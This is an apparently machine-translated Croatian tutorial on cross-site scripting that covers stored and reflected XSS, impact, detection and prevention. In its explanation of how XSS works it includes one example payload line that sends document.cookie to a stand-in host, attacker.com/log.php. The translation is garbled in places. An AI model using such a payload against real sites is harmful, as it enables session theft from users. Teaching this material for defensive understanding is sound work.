Uvod u skripta na više mjesta

  • Uz sve veći broj web aplikacija na Internetu, sigurnost web stranica postala je važna briga. Hakiranje i krađa privatnih podataka korisnika sada je uobičajena i prijeti im da koriste bilo koju aplikaciju. Cross Site Scripting jedan je od popularnih napada na web sigurnost korisnika. Donosimo malo uvida što je skript na više mjesta.
  • Cross Site Scripting nazvan XSS, ranjivost je računalne sigurnosti u kojoj napadač ima cilj dodati malo zlonamjernog koda u obliku skripti na pouzdanu web stranicu / web stranicu. To je napad ubrizgavanja koda na strani klijenta i zlonamjerna se skripta izvršava na web pregledniku korisnika kada pristupi toj web stranici / web stranici. Izravno ove web stranice postaju medij za slanje zlonamjernog koda. Ubrizgavanjem skripti napadači zaobilaze DOM (Document Object Model) sigurnosnih ograničenja i dobivaju pristup sadržaju osjetljive stranice korisnika, kolačićima sesija, povijesti pregledavanja većine privatnih podataka koje održava preglednik.
  • Web stranice s forumima, oglasnim pločama, web stranicama koje dopuštaju komentare i one koji koriste nesantizirani korisnički unos i tako dobiveni izlaz najugroženiji su XSS napadima. Iako su XSS napadi mogući u VBScript-u, ActiveX-u i CSS-u, oni su najčešći u Javascript-u kao temeljnom za većinu iskustava pregledavanja.

Različite vrste skriptiranja na više stranica (XSS)

Iako ne postoji određena klasifikacija križnog križanja, neki stručnjaci su ga svrstali u dvije vrste koje su detaljno razmotrene u nastavku:

Spremljeni XSS napadi :

  • Pohranjeni XSS su oni u kojima se zlonamjerna skripta koju ubrizgava napadač pohranjuje u bazu podataka i pokreće se u pregledniku korisnika kada pokuša pristupiti bazi podataka u nekom obliku. Oni su također poznati kao trajni ili pohranjeni XSS. Ovo je jedan od najrazornijih napada i događa se pogotovo kada web stranica / web stranica dopušta komentare ili dopušta umetanje HTML sadržaja.
  • Napadač dodaje JavaScript u komentaru koji se pohranjuje u bazu podataka i kada korisnik pristupi pogođenoj stranici dohvaćajući podatke iz baze podataka koja u svom pregledniku pokreće zlonamjerenu skriptu i napadač dobiva neovlašteni pristup privatnim podacima korisnika.
  • Na primjer, na web mjestu za e-trgovinu poput Olxa koji ima nesantizirani okvir za opis proizvoda, napadač koji je prodavač proizvoda dodaje u njega zlonamjerni JavaScript i bit će pohranjen u bazu podataka web mjesta.
  • Kada kupac otvori opis proizvoda za pregled detalja proizvoda, sada će postati žrtva jer se skripta izvršava u njegovom web pregledniku, a svi detalji korisnika koji preglednik dopušta će se oteti.

Postupak XSS napada:

  • Ovo je jedan od najčešćih načina na koji napadač može izazvati XSS napad na korisnika. U osnovi, u postupcima XSS napada, napadač cilja žrtvu slanjem e-pošte, zlonamjerne veze ili dodavanjem niza u rezultate pretraživanja koji upućuje na pouzdanu web stranicu, ali sadrži zlonamjeran JavaScript kôd.
  • Ako žrtva klikne na taj URL, pokreće HTTP zahtjev i ona šalje zahtjev ranjivoj web aplikaciji. Nakon toga zahtjev vraća se žrtvi s odgovorom ugrađenog JavaScripta koji web preglednik izvršava smatrajući da dolazi s pouzdanog web mjesta što rezultira otmicom povjerljivih podataka preglednika.
  • Na primjer, na web mjestu za e-trgovinu nalazi se okvir za pretraživanje u kojem korisnik može pretraživati ​​stavke, a niz napisan u polju za pretraživanje vidljiv je u URL-u web stranice kad se zahtjev za pretraživanje pošalje poslužitelju.
  • Napadač stvara vezu u kojoj se zlonamjerna skripta spaja u URL-u i šalje je žrtvi e-poštom. Kada žrtva otvori tu vezu, zahtjev se šalje na zlonamjernu web stranicu napadača, a svi podaci u pregledniku žrtve su oteti i poslani u sustav napadača.

Kako djeluje križanje skrivenih stranica (XSS)?

  • U ranjivosti Cross Site Scripting (XSS), glavni motiv napadača je ukrasti podatke korisnika pokretanjem zlonamjerne skripte u svom pregledniku koja se na različite načine ubrizgava u sadržaj web stranice koji korisnik koristi.
  • Na primjer, kada korisnik traži neki tekst na web mjestu, tada se zahtjev šalje poslužitelju u obliku:

https://www.abcwebsite.com/search?q=text1

U rezultatu pretraživanja web stranica vraća rezultat zajedno s onim što je korisnik pretraživao, poput:

Tražili ste: text1

Ako je funkcionalnost pretraživanja ranjiva za XSS, napadač može u URL dodati zloćudnu skriptu:

https://www.abcwebsite.com/search= lokacija dokumenta = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Kada žrtva klikne na ovu vezu, preusmjerava se na zlonamjernu web stranicu, tj. Https://attacker.com, a svi podaci preglednika izravno se šalju na računalo napadača što rezultira u napadu napadača koji krade sve sekvence / kolačiće sesije.
  • Na taj način napadač ubrizga svoju zloćudnu skriptu u URL, Attacker također može spremiti tu skriptu na poslužitelj koji se nalazi pod pohranjenim XSS.

Utjecaj ranjivosti na više web lokacija skripte:

Utjecaj skripte na različitim web lokacijama uvelike varira. Nakon što iskoristi ranjivost XSS, napadač dobiva potpunu kontrolu nad preglednikom žrtve i može izvoditi različite radnje koje se razlikuju od malih kao što je gledanje povijesti preglednika do katastrofalnih kao što je umetanje crva u računalo.

Neke su radnje koje napadač može izvršiti iskorištavanjem XSS ranjivosti sljedeće:

  1. Propuštanje osjetljivih podataka poput korisničkog imena i zaporke.
  2. Umetanje glista u računalo.
  3. Preusmjeravanje korisnika na neku opasnu web stranicu i prisiljavanje na obavljanje nekih radnji
  4. Pristupite povijesti pregledavanja žrtve.
  5. Instalacija programa Trojanski konj.
  6. Prisilite korisnika da izvršava i mijenja vrijednosti u aplikaciji tako što će dobiti pristup preko

Pronalaženje ranjivosti na različitim web lokacijama:

  • XSS ranjivosti nastaju iz dva razloga ili unos od strane korisnika nije potvrđen prije slanja na poslužitelj ili izlazni primitak u preglednik nije kodiran HTML-om. Imajući u vidu katastrofalan utjecaj XSS ranjivosti i zaštitu privatnosti korisnika, vrlo je važno otkriti je li web aplikacija ranjiva na XSS ili ne.
  • Iako je XSS teško identificirati i ukloniti, najbolji način provjere je izvršiti sigurnosni pregled koda i provjeriti ima li na svim mjestima gdje se unos iz HTTP zahtjeva može prikazati kao izlaz u aplikaciji. Korištenje alata za automatsko skeniranje ranjivosti koji uključuju specijalizirani modul za skeniranje XSS za skeniranje čitave web aplikacije također može pomoći u skeniranju i pronalaženju ranjivosti u aplikaciji.

Zbog sprječavanja XSS?

  • XSS je ranjivost ubrizgavanja koda, stoga je vrlo važno kodirati podatke koji se šalju poslužitelju i podatke koji dolaze s poslužitelja u preglednik korisnika.
  • Validacija podataka je također vrlo važna, tako da preglednik interpretira kod bez ikakvih zlonamjernih naredbi. Uvedene su različite metode prevencije, čime se validacija podataka i kodiranje postavlja kao prioritet da bi web mjesto bilo podložno XSS-u.

Neke točke je potrebno usredotočiti kako bi se spriječio XSS: -

  1. Podrška HTTP Tracea na svim web poslužiteljima trebala bi biti isključena jer napadač može ukrasti kolačiće i podatke privatnog preglednika putem HTTP poziva u trag sa poslužitelja, čak i ako je dokument.cookie onemogućen u pregledniku žrtve.
  2. Programeri trebaju sanirati unesene podatke i nikada ne smiju izlaziti podatke izravno primljene od korisnika bez validacije.
  3. Veze bi uglavnom trebale biti onemogućene ako ne započinju s protokolima s bijele liste poput HTTP: //, https: // čime se sprječava uporaba URI shema kao što je javascript: //

Zaključak:

XSS napadi su opasni i mogu naštetiti privatnosti korisnika i ukrasti podatke ako normalni korisnik pažljivo ne pregleda aplikaciju. Dakle, programeri tijekom razvoja aplikacije trebali bi se pridržavati strogih sigurnosnih pravila posebno za podatke i za poslužitelj kako bi aplikacija bila najmanje ranjiva na XSS i više korisnika se može osloniti na nju.

Preporučeni članci

Ovo je vodič za ono što je križanje skrivenih stranica ?. Ovdje smo raspravljali o različitim vrstama križnih stranica, radu, utjecaju i prevenciji XSS-a. Možete i proći naše druge predložene članke da biste saznali više -

  1. Kako funkcionira JavaScript
  2. Što je napad phishinga?
  3. Što je cyber napad?
  4. HTTP keširanje
  5. Kako kolačići rade u JavaScriptu s primjerom?

Kategorija: